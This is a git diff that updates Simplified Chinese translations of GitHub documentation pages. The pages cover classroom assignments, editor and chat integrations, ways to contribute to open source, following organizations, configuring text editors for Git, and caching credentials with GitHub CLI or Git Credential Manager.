+完成后,单击“继续”。 {% data variables.product.prodname_classroom %} 将创建作业并将您带到作业页面。
'Continue' button
-## Inviting students to an assignment +## 邀请学生参加作业 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} -You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} +你可以在作业的“所有学生”选项卡中查看学生是否已进入教室以及是否接受或提交作业。 {% data reusables.classroom.assignments-to-prevent-submission %}
Individual assignment
-The Git & {% data variables.product.company_short %} starter assignment is only available for individual students, not for groups. Once you create the assignment, students can start work on the assignment. +Git 和 {% data variables.product.company_short %} 入门作业只适用于个别学生,不适用于组。 一旦您创建作业,学生可以开始做作业。 -## Next steps +## 后续步骤 -- Make additional assignments customized to your course. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)," "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)," and "[Reuse an assignment](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment)." +- 根据课程定制其他作业。 有关详细信息,请参阅“[创建个人作业](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)”、“[创建组作业](/education/manage-coursework-with-github-classroom/create-a-group-assignment)”和“[重复使用作业](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment)”。 -## Further reading +## 延伸阅读 -- "[{% data variables.product.prodname_global_campus %} for teachers](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers)" -- "[Connect a learning management system course to a classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)" +- [教师版 {% data variables.product.prodname_global_campus %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers) +- [将学习管理系统连接到 {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom) diff --git a/translations/zh-CN/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md b/translations/zh-CN/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md index 1963647dc6..4a47bb1307 100644 --- a/translations/zh-CN/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md +++ b/translations/zh-CN/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md @@ -1,6 +1,6 @@ --- -title: GitHub extensions and integrations -intro: 'Use {% data variables.product.product_name %} extensions to work seamlessly in {% data variables.product.product_name %} repositories within third-party applications.' +title: GitHub 扩展和集成 +intro: '通过 {% data variables.product.product_name %} 扩展可在第三方应用程序中无缝使用 {% data variables.product.product_name %} 仓库。' redirect_from: - /articles/about-github-extensions-for-third-party-applications - /articles/github-extensions-and-integrations @@ -10,43 +10,53 @@ versions: fpt: '*' ghec: '*' shortTitle: Extensions & integrations +ms.openlocfilehash: f33ce9b9ae55e523bedff1309f3f2f15202dcf82 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884211' --- -## Editor tools +## 编辑器工具 -You can connect to {% data variables.product.product_name %} repositories within third-party editor tools such as Unity and {% data variables.product.prodname_vs %}. +可以在第三方编辑器工具中连接到 {% data variables.product.product_name %} 存储库,例如 Atom、Unity 和 {% data variables.product.prodname_vs %} 等工具。 + +### {% data variables.product.product_name %} for Atom + +使用 {% data variables.product.product_name %} for Atom 扩展,您可以从 Atom 编辑器中提交、推送、拉取和解决合并冲突等。 有关详细信息,请参阅官方 [{% data variables.product.product_name %} for Atom 站点](https://github.atom.io/)。 ### {% data variables.product.product_name %} for Unity -With the {% data variables.product.product_name %} for Unity editor extension, you can develop on Unity, the open source game development platform, and see your work on {% data variables.product.product_name %}. For more information, see the official Unity editor extension [site](https://unity.github.com/) or the [documentation](https://github.com/github-for-unity/Unity/tree/master/docs). +使用 {% data variables.product.product_name %} for Unity 编辑器扩展,您可以在开源游戏开发平台 Unity 上进行开发,在 {% data variables.product.product_name %} 查看您的工作。 有关详细信息,请参阅官方 Unity 编辑器扩展[站点](https://unity.github.com/)或[文档](https://github.com/github-for-unity/Unity/tree/master/docs)。 -### {% data variables.product.product_name %} for {% data variables.product.prodname_vs %} +### 适用于 {% data variables.product.prodname_vs %} 的 {% data variables.product.product_name %} -With the {% data variables.product.product_name %} for {% data variables.product.prodname_vs %} extension, you can work in {% data variables.product.product_name %} repositories without leaving {% data variables.product.prodname_vs %}. For more information, see the official {% data variables.product.prodname_vs %} extension [site](https://visualstudio.github.com/) or [documentation](https://github.com/github/VisualStudio/tree/master/docs). +通过适用于 {% data variables.product.prodname_vs %} 的 {% data variables.product.product_name %} 扩展,可以在 {% data variables.product.product_name %} 存储库中工作,而无需离开 {% data variables.product.prodname_vs %}。 有关详细信息,请参阅官方 {% data variables.product.prodname_vs %} 扩展[网站](https://visualstudio.github.com/)或[文档](https://github.com/github/VisualStudio/tree/master/docs)。 -### {% data variables.product.prodname_dotcom %} for {% data variables.product.prodname_vscode %} +### 适用于 {% data variables.product.prodname_vscode %} 的 {% data variables.product.prodname_dotcom %} -With the {% data variables.product.prodname_dotcom %} for {% data variables.product.prodname_vscode %} extension, you can review and manage {% data variables.product.product_name %} pull requests in {% data variables.product.prodname_vscode_shortname %}. For more information, see the official {% data variables.product.prodname_vscode_shortname %} extension [site](https://vscode.github.com/) or [documentation](https://github.com/Microsoft/vscode-pull-request-github). +通过适用于 {% data variables.product.prodname_vscode %} 的 {% data variables.product.prodname_dotcom %} 扩展,可以在 {% data variables.product.prodname_vscode_shortname %} 中查看和管理 {% data variables.product.product_name %} 拉取请求。 有关详细信息,请参阅官方 {% data variables.product.prodname_vscode_shortname %} 扩展[网站](https://vscode.github.com/)或[文档](https://github.com/Microsoft/vscode-pull-request-github)。 -## Project management tools +## 项目管理工具 -You can integrate your personal or organization account on {% data variables.location.product_location %} with third-party project management tools, such as Jira. +您可以将 {% data variables.product.product_location %} 上的个人或组织帐户与第三方项目管理工具(如 Jira)集成。 -### Jira Cloud and {% data variables.product.product_name %}.com integration +### Jira Cloud 与 {% data variables.product.product_name %}.com 集成 -You can integrate Jira Cloud with your personal or organization account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues. For more information, visit the [Jira integration app](https://github.com/marketplace/jira-software-github) in the marketplace. +您可以将 Jira Cloud 与个人或组织帐户集成,以扫描提交和拉取请求,在任何提及的 Jira 议题中创建相关的元数据和超链接。 有关详细信息,请访问市场中的 [Jira 集成应用](https://github.com/marketplace/jira-software-github)。 -## Team communication tools +## 团队通信工具 -You can integrate your personal or organization account on {% data variables.location.product_location %} with third-party team communication tools, such as Slack or Microsoft Teams. +您可以将 {% data variables.product.product_location %} 上的个人或组织帐户与第三方团队通信工具(如 Slack 或 Microsoft Teams)集成。 -### Slack and {% data variables.product.product_name %} integration +### Slack 与 {% data variables.product.product_name %} 集成 -The Slack + {% data variables.product.prodname_dotcom %} app lets you subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, discussions, releases, deployment reviews and deployment statuses. You can also perform activities like opening and closing issues, and you can see detailed references to issues and pull requests without leaving Slack. The app will also ping you personally in Slack if you are mentioned as part of any {% data variables.product.prodname_dotcom %} notifications that you receive in your channels or personal chats. +利用 Slack + {% data variables.product.prodname_dotcom %} 应用,可订阅存储库或组织,并获取有关问题、拉取请求、提交、讨论、发布、部署评审和部署状态的实时更新。 还可以执行打开和关闭问题等活动,并且无需离开 Slack 就能查看对问题和拉取请求的详细引用。 如果频道或个人聊天中收到的任何 {% data variables.product.prodname_dotcom %} 通知中提及了你,该应用还将在 Slack 中单独 ping 你。 -The Slack + {% data variables.product.prodname_dotcom %} app is also compatible with [Slack Enterprise Grid](https://slack.com/intl/en-in/help/articles/360000281563-Manage-apps-on-Enterprise-Grid). For more information, visit the [Slack + {% data variables.product.prodname_dotcom %} app](https://github.com/marketplace/slack-github) in the marketplace. +Slack + {% data variables.product.prodname_dotcom %} 应用也与 [Slack Enterprise Grid](https://slack.com/intl/en-in/help/articles/360000281563-Manage-apps-on-Enterprise-Grid) 兼容。 有关详细信息,请访问市场中的 [Slack + {% data variables.product.prodname_dotcom %} 应用](https://github.com/marketplace/slack-github)。 -### Microsoft Teams and {% data variables.product.product_name %} integration +### Microsoft Teams 与 {% data variables.product.product_name %} 集成 -The {% data variables.product.prodname_dotcom %} for Teams app lets you subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, discussions, releases, deployment reviews and deployment statuses. You can also perform activities like opening and closing issues, commenting on your issues and pull requests, and you can see detailed references to issues and pull requests without leaving Microsoft Teams. The app will also ping you personally in Teams if you are mentioned as part of any {% data variables.product.prodname_dotcom %} notifications that you receive in your channels or personal chats. +利用适用于 Teams 应用的 {% data variables.product.prodname_dotcom %} 支持订阅存储库或组织,及获取有关问题、拉取请求、提交、讨论、发布、部署评审和部署状态的实时更新。 还可以执行打开和关闭问题、评论你的问题和拉取请求等活动,并且无需离开 Microsoft Teams 就能查看对问题和拉取请求的详细引用。 如果频道或个人聊天中收到的任何 {% data variables.product.prodname_dotcom %} 通知中提及了你,该应用还将在 Teams 中单独 ping 你。 -For more information, visit the [{% data variables.product.prodname_dotcom %} for Teams app](https://appsource.microsoft.com/en-us/product/office/WA200002077) in Microsoft AppSource. +有关详细信息,请访问 Microsoft AppSource 中的[适用于 Teams 的 {% data variables.product.prodname_dotcom %} 应用](https://appsource.microsoft.com/en-us/product/office/WA200002077)。 diff --git a/translations/zh-CN/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md b/translations/zh-CN/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md index d46262cbb0..d0edc162f8 100644 --- a/translations/zh-CN/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md +++ b/translations/zh-CN/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md @@ -1,6 +1,6 @@ --- -title: Finding ways to contribute to open source on GitHub -intro: 'You can find ways to contribute to open source projects on {% data variables.location.product_location %} that are relevant to you.' +title: 寻找在 GitHub 上参与开源项目的方法 +intro: '可以找到在 {% data variables.product.product_location %} 上参加与你相关的开源项目的方法。' permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}' redirect_from: - /articles/where-can-i-find-open-source-projects-to-work-on @@ -17,40 +17,46 @@ versions: topics: - Open Source shortTitle: Contribute to open source +ms.openlocfilehash: 434927bb3fd1f6816cf76b82a949a4b3369acba9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145099762' --- -## Discovering relevant projects +## 发现相关项目 -If there's a particular topic that interests you, visit `github.com/topics/`. For example, if you are interested in machine learning, you can find relevant projects and good first issues by visiting https://github.com/topics/machine-learning. You can browse popular topics by visiting [Topics](https://github.com/topics). You can also search for repositories that match a topic you're interested in. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." +如果你有感兴趣的特定主题,请访问 `github.com/topics/`。 例如,如果你对机器学习感兴趣,可以通过访问 https://github.com/topics/machine-learning 找到相关的项目和合适的第一个议题。 可以通过访问[主题](https://github.com/topics)来浏览热门主题。 您还可以搜索与您感兴趣的主题相匹配的仓库。 有关详细信息,请参阅“[搜索存储库](/search-github/searching-on-github/searching-for-repositories#search-by-topic)”。 -If you've been active on {% data variables.location.product_location %}, you can find personalized recommendations for projects and good first issues based on your past contributions, stars, and other activities in [Explore](https://github.com/explore). You can also sign up for the Explore newsletter to receive emails about opportunities to contribute to {% data variables.product.product_name %} based on your interests. To sign up, see [Explore email newsletter](https://github.com/explore/subscribe). +如果你一直活跃在 {% data variables.product.product_location %} 上,可以根据过去的参与情况、标星以及在 [Explore](https://github.com/explore) 中的其他活动,为你的项目找到个性化的建议和合适的第一个议题。 您还可以注册 Explore 通讯以根据您的兴趣接收相关电子邮件,了解参与 {% data variables.product.product_name %} 的机会。 若要注册,请参阅 [Explore 电子邮件新闻稿](https://github.com/explore/subscribe)"。 -Keep up with recent activity from repositories you watch, as well as people and organizations you follow, with your personal dashboard. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)." +使用个人仪表板及时了解你关注的存储库和人员以及组织的最近活动。 有关详细信息,请参阅“[关于个人仪表板](/articles/about-your-personal-dashboard)”。 {% data reusables.support.ask-and-answer-forum %} -## Finding good first issues +## 查找合适的第一个议题 -If you already know what project you want to work on, you can find beginner-friendly issues in that repository by visiting `github.com///contribute`. For an example, you can find ways to make your first contribution to `electron/electron` at https://github.com/electron/electron/contribute. +如果已经知道要参与哪些项目,可通过访问 `github.com///contribute` 查找该存储库中便于初学者参与的议题。 例如,可以在 https://github.com/electron/electron/contribute 上找到第一次参与 `electron/electron` 的方法。 -## Opening an issue +## 创建问题 -If you encounter a bug in an open source project, check if the bug has already been reported. If the bug has not been reported, you can open an issue to report the bug according to the project's contribution guidelines. +如果在开源项目中遇到漏洞,请检查该漏洞是否已报告。 如果该漏洞尚未报告,您可以根据项目的参与指南开启一个议题来报告该漏洞。 -## Validating an issue or pull request +## 验证议题或拉取请求 -There are a variety of ways that you can contribute to open source projects. +您可以通过多种方式为开源项目做出贡献。 -### Reproducing a reported bug -You can contribute to an open source project by validating an issue or adding additional context to an existing issue. +### 重现报告的漏洞 +您可以通过验证议题或为现有议题添加额外上下文来为开源项目做出贡献。 -### Testing a pull request -You can contribute to an open source project by merging a pull request into your local copy of the project and testing the changes. Add the outcome of your testing in a comment on the pull request. +### 测试拉取请求 +您可以通过将拉取请求合并到项目的本地副本中并测试更改来为开源项目做出贡献。 在对拉取请求的评论中添加测试结果。 -### Updating issues -You can contribute to an open source project by adding additional information to existing issues. +### 更新议题 +您可以通过向现有议题添加额外信息来为开源项目做出贡献。 -## Further reading +## 延伸阅读 -- "[Classifying your repository with topics](/articles/classifying-your-repository-with-topics)" -- "[About your organization dashboard](/articles/about-your-organization-dashboard)" +- “[使用主题对存储库分类](/articles/classifying-your-repository-with-topics)” +- “[关于组织仪表板](/articles/about-your-organization-dashboard)” diff --git a/translations/zh-CN/content/get-started/exploring-projects-on-github/following-organizations.md b/translations/zh-CN/content/get-started/exploring-projects-on-github/following-organizations.md index b3e02489ca..f5f2f35239 100644 --- a/translations/zh-CN/content/get-started/exploring-projects-on-github/following-organizations.md +++ b/translations/zh-CN/content/get-started/exploring-projects-on-github/following-organizations.md @@ -1,46 +1,54 @@ --- -title: Following organizations -intro: 'You can follow organizations on {% data variables.product.product_name %} to receive notifications about their activity.' +title: 关注组织 +intro: '可以在 {% data variables.product.product_name %} 上关注组织以接收有关其活动的通知。' versions: feature: for-you-feed topics: - Profile +ms.openlocfilehash: 8e7dff12137f167fa11718d966a204a2772cc554 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '145149434' --- +{% note %} -{% data reusables.organizations.follow-organizations-beta %} +注意:关注组织的功能目前为公共 beta 版,可能会有变动。 -## About followers on {% data variables.product.product_name %} +{% endnote %} -{% data reusables.organizations.about-following-organizations %} For more information, see "[About your personal dashboard](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#staying-updated-with-activity-from-the-community)." +## 关于 {% data variables.product.product_name %} 上的关注者 -You can unfollow an organization if you do not wish to see their {% ifversion fpt or ghec %}public{% endif %} activity on {% data variables.product.product_name %}. +关注组织时,你将在个人仪表板上看到其公共活动。 有关详细信息,请参阅“[关于个人仪表板](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#staying-updated-with-activity-from-the-community)”。 -## Following an organization on {% data variables.product.product_name %} +如果不希望在 {% data variables.product.product_name %} 上看到组织的{% ifversion fpt or ghec %}公开{% endif %}活动,则可以取消关注组织。 -1. Go to the organization page you want to follow -2. Click **Follow** in the top-right corner of the header +## 在 {% data variables.product.product_name %} 上关注组织 - ![Screenshot of the organization header, with the follow button highlighted](/assets/images/help/profile/organization-profile-following.png) +1. 转到要关注的组织页面 +2. 单击标头右上角的“关注” -## Unfollowing an organization on {% data variables.product.product_name %} + ![组织标头的屏幕截图,其中突出显示了“关注”按钮](/assets/images/help/profile/organization-profile-following.png) -1. Go to the organization page you want to unfollow -2. Click **Unfollow** in the top-right corner of the header. +## 在 {% data variables.product.product_name %} 上取消关注组织 - ![Screenshot of the organization header, with the unfollow button highlighted](/assets/images/help/profile/organization-profile-unfollowing.png) +1. 转到要取消关注的组织页面 +2. 单击标头右上角的“取消关注” -## Viewing people and organizations a user follows on {% data variables.product.product_name %} + ![组织标头的屏幕截图,其中突出显示了“取消关注”按钮](/assets/images/help/profile/organization-profile-unfollowing.png) -1. Click a user image to display that user's profile. +## 查看用户在 {% data variables.product.product_name %} 上关注的人员和组织 - ![User image](/assets/images/help/profile/user-profile-image.png) +1. 单击用户图像以显示该用户的配置文件。 -2. Click **following** under their profile image. + ![用户图像](/assets/images/help/profile/user-profile-image.png) - ![User following](/assets/images/help/profile/user-profile-following.png) +2. 在其个人资料图像下单击“关注”。 + + ![用户关注](/assets/images/help/profile/user-profile-following.png) {% ifversion fpt or ghec %} -## Further reading +## 延伸阅读 -- "[Following people](/get-started/exploring-projects-on-github/following-people)" -{% endif %} +- [关注他人](/get-started/exploring-projects-on-github/following-people) {% endif %} diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/associating-text-editors-with-git.md b/translations/zh-CN/content/get-started/getting-started-with-git/associating-text-editors-with-git.md index 37d6192f7a..8f2804133d 100644 --- a/translations/zh-CN/content/get-started/getting-started-with-git/associating-text-editors-with-git.md +++ b/translations/zh-CN/content/get-started/getting-started-with-git/associating-text-editors-with-git.md @@ -1,6 +1,6 @@ --- -title: Associating text editors with Git -intro: Use a text editor to open and edit your files with Git. +title: 关联文本编辑器与 Git +intro: 使用文本编辑器打开文件并通过 Git 编辑。 redirect_from: - /textmate - /articles/using-textmate-as-your-default-editor @@ -15,33 +15,48 @@ versions: ghae: '*' ghec: '*' shortTitle: Associate text editors +ms.openlocfilehash: 0d02c32ff04d4a5a2a1003464175e866630603f4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145148751' --- {% mac %} -## Using {% data variables.product.prodname_vscode %} as your editor +## 使用 Atom 作为编辑器 -1. Install [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %}). For more information, see "[Setting up {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview)" in the {% data variables.product.prodname_vscode_shortname %} documentation. +1. 安装 [Atom](https://atom.io/)。 有关详细信息,请参阅 Atom 文档中的“[安装 Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)”。 {% data reusables.command_line.open_the_multi_os_terminal %} -3. Type this command: +3. 键入以下命令: + ```shell + $ git config --global core.editor "atom --wait" + ``` + +## 将 {% data variables.product.prodname_vscode %} 用作编辑器 + +1. 安装 [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %})。 有关详细信息,请参阅 {% data variables.product.prodname_vscode_shortname %} 文档中的“[设置 {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview)”。 +{% data reusables.command_line.open_the_multi_os_terminal %} +3. 键入以下命令: ```shell $ git config --global core.editor "code --wait" ``` -## Using Sublime Text as your editor +## 使用 Sublime Text 作为编辑器 -1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation. +1. 安装 [Sublime Text](https://www.sublimetext.com/)。 有关详细信息,请参阅 Sublime Text 文档中的“[安装](https://docs.sublimetext.io/guide/getting-started/installation.html)”。 {% data reusables.command_line.open_the_multi_os_terminal %} -3. Type this command: +3. 键入以下命令: ```shell $ git config --global core.editor "subl -n -w" ``` -## Using TextMate as your editor +## 使用 TextMate 作为编辑器 -1. Install [TextMate](https://macromates.com/). -2. Install TextMate's `mate` shell utility. For more information, see "[`mate` and `rmate`](https://macromates.com/blog/2011/mate-and-rmate/)" in the TextMate documentation. +1. 安装 [TextMate](https://macromates.com/)。 +2. 安装 TextMate 的 `mate` shell 实用工具。 有关详细信息,请参阅 TextMate 文档中的“[`mate` 和 `rmate`](https://macromates.com/blog/2011/mate-and-rmate/)”。 {% data reusables.command_line.open_the_multi_os_terminal %} -4. Type this command: +4. 键入以下命令: ```shell $ git config --global core.editor "mate -w" ``` @@ -49,29 +64,38 @@ shortTitle: Associate text editors {% windows %} -## Using {% data variables.product.prodname_vscode %} as your editor +## 使用 Atom 作为编辑器 -1. Install [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %}). For more information, see "[Setting up {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview)" in the {% data variables.product.prodname_vscode_shortname %} documentation. +1. 安装 [Atom](https://atom.io/)。 有关详细信息,请参阅 Atom 文档中的“[安装 Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)”。 {% data reusables.command_line.open_the_multi_os_terminal %} -3. Type this command: +3. 键入以下命令: + ```shell + $ git config --global core.editor "atom --wait" + ``` + +## 将 {% data variables.product.prodname_vscode %} 用作编辑器 + +1. 安装 [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %})。 有关详细信息,请参阅 {% data variables.product.prodname_vscode_shortname %} 文档中的“[设置 {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview)”。 +{% data reusables.command_line.open_the_multi_os_terminal %} +3. 键入以下命令: ```shell $ git config --global core.editor "code --wait" ``` -## Using Sublime Text as your editor +## 使用 Sublime Text 作为编辑器 -1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation. +1. 安装 [Sublime Text](https://www.sublimetext.com/)。 有关详细信息,请参阅 Sublime Text 文档中的“[安装](https://docs.sublimetext.io/guide/getting-started/installation.html)”。 {% data reusables.command_line.open_the_multi_os_terminal %} -3. Type this command: +3. 键入以下命令: ```shell $ git config --global core.editor "'C:/Program Files (x86)/sublime text 3/subl.exe' -w" ``` -## Using Notepad++ as your editor +## 使用 Notepad++ 作为编辑器 -1. Install Notepad++ from https://notepad-plus-plus.org/. For more information, see "[Getting started](https://npp-user-manual.org/docs/getting-started/)" in the Notepad++ documentation. +1. 从 https://notepad-plus-plus.org/ 安装 Notepad++。 有关详细信息,请参阅 Notepad++ 文档中的“[入门](https://npp-user-manual.org/docs/getting-started/)”。 {% data reusables.command_line.open_the_multi_os_terminal %} -3. Type this command: +3. 键入以下命令: ```shell $ git config --global core.editor "'C:/Program Files (x86)/Notepad++/notepad++.exe' -multiInst -notabbar -nosession -noPlugin" ``` @@ -79,20 +103,29 @@ shortTitle: Associate text editors {% linux %} -## Using {% data variables.product.prodname_vscode %} as your editor +## 使用 Atom 作为编辑器 -1. Install [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %}). For more information, see "[Setting up {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview)" in the {% data variables.product.prodname_vscode_shortname %} documentation. +1. 安装 [Atom](https://atom.io/)。 有关详细信息,请参阅 Atom 文档中的“[安装 Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)”。 {% data reusables.command_line.open_the_multi_os_terminal %} -3. Type this command: +3. 键入以下命令: + ```shell + $ git config --global core.editor "atom --wait" + ``` + +## 将 {% data variables.product.prodname_vscode %} 用作编辑器 + +1. 安装 [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %})。 有关详细信息,请参阅 {% data variables.product.prodname_vscode_shortname %} 文档中的“[设置 {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview)”。 +{% data reusables.command_line.open_the_multi_os_terminal %} +3. 键入以下命令: ```shell $ git config --global core.editor "code --wait" ``` -## Using Sublime Text as your editor +## 使用 Sublime Text 作为编辑器 -1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation. +1. 安装 [Sublime Text](https://www.sublimetext.com/)。 有关详细信息,请参阅 Sublime Text 文档中的“[安装](https://docs.sublimetext.io/guide/getting-started/installation.html)”。 {% data reusables.command_line.open_the_multi_os_terminal %} -3. Type this command: +3. 键入以下命令: ```shell $ git config --global core.editor "subl -n -w" ``` diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md b/translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md index a32b554c10..5e7736e6e0 100644 --- a/translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md +++ b/translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md @@ -1,5 +1,5 @@ --- -title: Caching your GitHub credentials in Git +title: 在 Git 中缓存 GitHub 凭据 redirect_from: - /firewalls-and-proxies - /articles/caching-your-github-password-in-git @@ -7,77 +7,82 @@ redirect_from: - /github/using-git/caching-your-github-credentials-in-git - /github/getting-started-with-github/caching-your-github-credentials-in-git - /github/getting-started-with-github/getting-started-with-git/caching-your-github-credentials-in-git -intro: 'If you''re [cloning {% data variables.product.product_name %} repositories using HTTPS](/github/getting-started-with-github/about-remote-repositories), we recommend you use {% data variables.product.prodname_cli %} or Git Credential Manager (GCM) to remember your credentials.' +intro: '如果你[使用 HTTPS 克隆 {% data variables.product.product_name %} 存储库](/github/getting-started-with-github/about-remote-repositories),我们建议你使用 {% data variables.product.prodname_cli %} 或 Git Credential Manager (GCM) 来记住你的凭据。' versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' shortTitle: Caching credentials +ms.openlocfilehash: 203eed949beb3c1ada9c4c099cbaf214aac0c4f7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145097909' --- - {% tip %} -**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you can authenticate using an SSH key instead of using other credentials. For information about setting up an SSH connection, see "[Generating an SSH Key](/articles/generating-an-ssh-key)." +**提示:** 如果使用 SSH 克隆 {% data variables.product.product_name %} 存储库,则可使用 SSH 密钥进行身份验证,而不是使用其他凭据。 有关设置 SSH 连接的信息,请参阅“[生成 SSH 密钥](/articles/generating-an-ssh-key)”。 {% endtip %} ## {% data variables.product.prodname_cli %} -{% data variables.product.prodname_cli %} will automatically store your Git credentials for you when you choose `HTTPS` as your preferred protocol for Git operations and answer "yes" to the prompt asking if you would like to authenticate to Git with your {% data variables.product.product_name %} credentials. +选择 `HTTPS` 作为 Git 操作的首选协议时,{% data variables.product.prodname_cli %} 将自动为你存储 Git 凭据,并对询问你是否要使用 {% data variables.product.product_name %} 凭据向 Git 进行身份验证的提示回答“是”。 -1. [Install](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %} on macOS, Windows, or Linux. -2. In the command line, enter `gh auth login`, then follow the prompts. - - When prompted for your preferred protocol for Git operations, select `HTTPS`. - - When asked if you would like to authenticate to Git with your {% data variables.product.product_name %} credentials, enter `Y`. +1. 在 macOS、Windows 或 Linux 上[安装](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %}。 +2. 在命令行中,输入 `gh auth login`,然后按照提示进行操作。 + - 当系统提示输入 Git 操作的首选协议时,请选择 `HTTPS`。 + - 当系统询问是否要使用 {% data variables.product.product_name %} 凭据向 Git 进行身份验证时,请输入 `Y`。 -For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). +有关使用 {% data variables.product.prodname_cli %} 进行身份验证的详细信息,请参阅 [`gh auth login`](https://cli.github.com/manual/gh_auth_login)。 ## Git Credential Manager -[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager) (GCM) is another way to store your credentials securely and connect to GitHub over HTTPS. With GCM, you don't have to manually [create and store a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token), as GCM manages authentication on your behalf, including 2FA (two-factor authentication). +[Git 凭据管理器](https://github.com/GitCredentialManager/git-credential-manager) (GCM) 是安全存储凭据并通过 HTTPS 连接到 GitHub 的另一种方法。 使用 GCM 时,不必手动[创建和存储 PAT](/github/authenticating-to-github/creating-a-personal-access-token),因为 GCM 代表你管理身份验证,包括 2FA(双因素身份验证)。 {% mac %} -1. Install Git using [Homebrew](https://brew.sh/): +1. 使用 [Homebrew](https://brew.sh/) 安装 Git: ```shell $ brew install git ``` -2. Install GCM using Homebrew: +2. 使用 Homebrew 安装 GCM: ```shell $ brew tap microsoft/git $ brew install --cask git-credential-manager-core ``` - For MacOS, you don't need to run `git config` because GCM automatically configures Git for you. + 对于 MacOS,不需要运行 `git config`,因为 GCM 会自动为你配置 Git。 {% data reusables.gcm-core.next-time-you-clone %} -Once you've authenticated successfully, your credentials are stored in the macOS keychain and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again 